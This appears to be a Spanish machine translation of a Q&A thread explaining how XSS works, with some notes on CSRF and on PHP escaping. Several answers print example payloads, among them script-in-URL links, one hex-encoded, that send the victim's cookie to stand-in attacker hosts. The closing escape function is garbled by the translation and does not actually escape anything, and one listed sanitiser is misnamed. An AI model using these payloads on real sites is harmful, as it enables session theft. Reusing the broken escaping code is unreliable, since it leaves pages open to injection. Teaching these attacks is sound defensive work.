sheet - xss php
¿Cómo funciona XSS? (6)
¿Alguien puede explicar cómo funciona XSS en inglés sencillo? Tal vez con un ejemplo. Google no ayudó mucho.
XSS -
Vulnerabilidad causada cuando el sitio web confía en el usuario y no filtra la entrada del usuario. La entrada del usuario hace que las secuencias de comandos no deseadas se ejecuten en el sitio.
Prevención:
Filtrar la entrada del usuario usando desinfectantes de entrada HTML
(por ejemplo, strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape en php)
CSRF:
Se produce una vulnerabilidad cuando el usuario deposita la confianza en el sitio, pero el sitio puede funcionar para obtener información del usuario y hacer un uso incorrecto.
Prevención:
- Genere automáticamente una csrf_token cada vez que se genere un formulario. El csrf_token se envía al servidor en el envío del formulario para su verificación. por ejemplo, https://docs.djangoproject.com/en/dev/ref/contrib/csrf/
En inglés simple
XSS es cuando inserta scripts (es decir, código JavaScript) en páginas web, de modo que el navegador ejecute el código. Esto es malicioso, porque se puede usar para robar cookies y cualquier otro dato en la página. Por ejemplo:
El HTML de un cuadro de búsqueda: <input value="*search value here*">
Ahora bien, si inserta " onmouseover="alert(1)
, el HTML final sería <input value="" onmouseover="alert(1)">
Cuando pase el mouse sobre el cuadro de búsqueda, se ejecutará la "alerta" .
En "WikiText"
Cross-site scripting (XSS) es un tipo de vulnerabilidad de seguridad informática que normalmente se encuentra en las aplicaciones web. XSS permite a los atacantes inyectar scripts del lado del cliente en páginas web vistas por otros usuarios. Los atacantes pueden usar una vulnerabilidad de secuencias de comandos entre sitios para eludir los controles de acceso, como la política del mismo origen.
Escribí un artículo sobre qué es XSS y cómo abordarlo como desarrollador de PHP. También hay ejemplos de cómo se ven los dos tipos de ataques XSS (persistente vs. no persistente).
Hay dos tipos de ataques XSS:
- No persistente: se trata de una URL especialmente diseñada que incorpora un script como uno de los parámetros de la página de destino. La URL desagradable se puede enviar en un correo electrónico con la intención de engañar al destinatario para que haga clic en él. La página de destino maneja incorrectamente el parámetro y, involuntariamente, envía código a la máquina del cliente que se transfirió originalmente a través de la cadena URL.
- Persistente: este ataque usa una página en un sitio que guarda los datos del formulario en la base de datos sin manejar los datos de entrada correctamente. Un usuario malintencionado puede incrustar un script desagradable como parte de un campo de datos típico (como el apellido) que se ejecuta en el navegador web del cliente sin saberlo. Normalmente, el desagradable script se almacena en la base de datos y se vuelve a ejecutar en cada visita del cliente a la página infectada.
Ver más aquí: http://www.thedablog.com/what-is-xss/
Cross Site Scripting básicamente es una vulnerabilidad de seguridad de páginas web dinámicas donde un atacante puede crear un enlace malicioso para inyectar JavaScript ejecutable no deseado en un sitio web. El caso más común de estas vulnerabilidades ocurre cuando las variables GET se imprimen o repiten sin filtrar o verificar su contenido.
Cuando una víctima hace clic en el enlace, el código malicioso puede enviar la cookie de la víctima a otro servidor, o puede modificar el sitio afectado, inyectar formularios, robar nombres de usuario y contraseñas, y otras técnicas de phishing.
Ejemplo de enlace malicioso:
http://VulnerableHost/a.php?variable=<script>document.location=''http://AttackersHost/cgi-bin/cookie.cgi%3Fdata=''+document.cookie</script>
También es común codificar el código malicioso, por ejemplo en hexadecimal:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
En inglés simple, XSS es una vulnerabilidad de seguridad en la cual el atacante puede enmarcar un script malicioso para comprometer el sitio web. Ahora, ¿cómo funciona?
Como sabemos que XSS necesita un campo de entrada o podemos decir que la variable GET a través de la cual la entrada es eco regresa al usuario sin filtrar ni a veces filtrar. Después de la solicitud, es aceptable ("código fuente") por el navegador como respuesta para mostrar los contenidos al usuario. Recuerde que lo que haya escrito en el campo de entrada estará en la respuesta del código fuente . Por lo tanto, debe verificarlo porque a veces el desarrollador web restringe la casilla de alerta.
Si es un atacante primero, necesita conocer la vulnerabilidad xss utilizando la etiqueta de script.
Por ejemplo: - alerta ("prueba")
Aquí alert () se utiliza para hacer que el cuadro emergente con el botón Aceptar y lo que haya escrito en el paréntesis será emergente en la pantalla . Y las etiquetas de script son invisibles.
Ahora el atacante puede crear un script malicioso para robar la cookie, robar las credenciales, etc.
Por ejemplo: - hxxp: //www.VulnerableSite.com/index.php? Search = location.href = '' http://www.Yoursite.com/Stealer.php?cookie= '' + document.cookie;
Aquí su sitio es el sitio del atacante en el que el atacante puede redirigir la cookie de la víctima en el sitio de su propiedad con la ayuda de document.cookie.
Eso es.
Aquí la etiqueta de script invisible
Existe una vulnerabilidad XSS siempre que una cadena externa a su aplicación se pueda interpretar como código.
Por ejemplo, si está generando HTML al hacer esto:
<BODY>
<?= $myQueryParameter ?>
</BODY>
luego, si la variable $myQueryParameter
contiene una etiqueta <SCRIPT>
, terminará ejecutando el código.
Para evitar que una entrada se ejecute como código, debe escapar el contenido correctamente.
El problema anterior se puede resolver al darse cuenta de que la variable $myQueryParameter
contiene texto sin formato, pero no se puede ir y poner texto simple en HTML y esperar que funcione.
Por lo tanto, debe convertir el texto sin formato a HTML para que pueda ponerlo en su página HTML. Ese proceso de conversión de una cadena en un idioma a otro para que pueda ser incrustado se está escapando.
Puede escapar del texto sin formato a HTML con una función como:
function escapePlainTextToHTML(plainText) {
return plainText.replace(//0/g, '''')
.replace(/&/g, ''&'')
.replace(/</g, ''<'')
.replace(/>/g, ''>'')
.replace(/"/g, ''"'')
.replace(/''/g, ''''');
}